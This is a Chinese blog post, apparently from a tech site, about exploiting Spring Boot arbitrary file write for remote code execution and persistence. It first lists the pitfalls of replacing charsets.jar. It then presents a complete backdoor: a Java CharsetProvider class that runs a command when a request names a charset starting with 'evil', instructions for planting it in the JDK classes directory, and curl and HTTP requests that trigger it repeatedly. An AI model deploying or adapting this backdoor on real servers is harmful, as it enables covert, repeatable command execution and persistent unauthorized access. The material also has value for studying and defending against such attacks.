springboot 写文件rce踩雷

项目引用:GitHub - LandGrey/spring-boot-upload-file-lead-to-rce-tricks: spring boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧

之前就知道spring框架可以这样写文件实现rce,但是当时也没操作过,最近想写个权限维持的工具,才知道里面有很多坑,下面单对写charsets.jar文件实现rce做讨论(charsets.jar文件使用的是GitHub项目中编译好的文件)

spring环境触发恶意代码的数据包

GET / HTTP/1.1
Accept: text/html;charset=GBK


坑点一

Java应用中的函数得没有使用Charset.forName("GBK")类似的代码,这样charsets.jar文件不会在应用运行时被加载到jvm中,才能在后面顺利替换掉charsets.jar来实现恶意代码运行

坑点二

系统必须是Linux系统,windows系统由于在Java应用启动时,就会自动加载charsets.jar,导致了后面替换jar包没用,除非是简单粗暴的直接修改ExtendedCharsets ,在其中添加恶意代码,这样虽然windows的Java应用在修改编码调用这个函数的时候会触发恶意代码,但是如果直接修改这个类,太粗暴了,会直接影响到系统中所有的Java应用,字符编码也会乱掉,严重的可能还会导致Java应用崩溃掉。LandGrey的GitHub项目中的charsets.jar也只是修改了下面的一个IBM33722 的类文件

坑点三

系统必须是zh_CN.gbk字符集,这样使用数据包触发时,才会加载charsets.jar

坑点四

只能主动触发一次charsets.jar ,如果恶意代码没有被触发,那继续发数据包也没用了,因为jar包已经被加载了

其他利用

写文件做rce的利用除了上面的写charsets.jar文件外,还有一个自己利用spi机制来编写一个恶意provider,然后上传到系统的classpath文件下,一般是jdk_home/jre/classes

实现

编写CharsetEvil.java

package sun.nio.cs.evil;

import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.charset.spi.CharsetProvider;
import java.util.HashSet;
import java.util.Iterator;

public class CharsetEvil extends CharsetProvider{

    @Override
    public Iterator<Charset> charsets() {
        // TODO Auto-generated method stub
        return new HashSet<Charset>().iterator();
    }

    @Override
    public Charset charsetForName(String charsetName) {
        // TODO Auto-generated method stub
        if(charsetName.startsWith("evil")) {    //指定后门密码
            try {
                Runtime.getRuntime().exec("cmd /c calc");
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
        return Charset.forName("UTF-8");
    }
    
}

使用javac编译后,在jdk_home/jre/classes目录下建立这样的目录结构

.
├── sun
	└── nio
		└── cs
			└── evilCharsetEvil.class
└── META-INF
    └── services
        └── java.nio.charset.spi.CharsetProvider

其中services目录下的文件名字是spi继承的类名,文件内容是sun.nio.cs.evil.CharsetEvil 也就是恶意类名

触发

curl -X GET "<http://127.0.0.1:8080/>" -H "Accept: text/html;Charset=Evil"
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json;charset=evil;

触发的Accept: application/json;charset=evil; 字段虽然说相同的charset 只能使用一次,但是由于代码判定的是以evil开头,所以也可以使用Accept: application/json;charset=evilxx; 进行重复多次运行恶意代码

总结

其实对比下两种利用手法,由于jdk_home/jre/classes目录不存在,需要自己创建的原因,很多人还是倾向于jar包做维权的手段,但是我上面总结了很多坑点,光是系统必须是zh_CN.gbk字符集就说明了利用条件非常苛刻了,在不用说Java应用中的函数得没有使用Charset.forName("GBK")类似的代码,而且即使上传成功,利用成功了,在国内现在的攻防场景的原因,会对应用系统做出一些破坏,客户肯定是不允许的,所以我在这里是倾向于第二种利用手法的

参考链接:

https://xz.aliyun.com/t/16831

从Spring Boot FatJar文件写漏洞的一次实践 - admin-神风 - 博客园

https://threedr3am.github.io/2021/04/14/JDK8任意文件写场景下的SpringBoot RCE/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值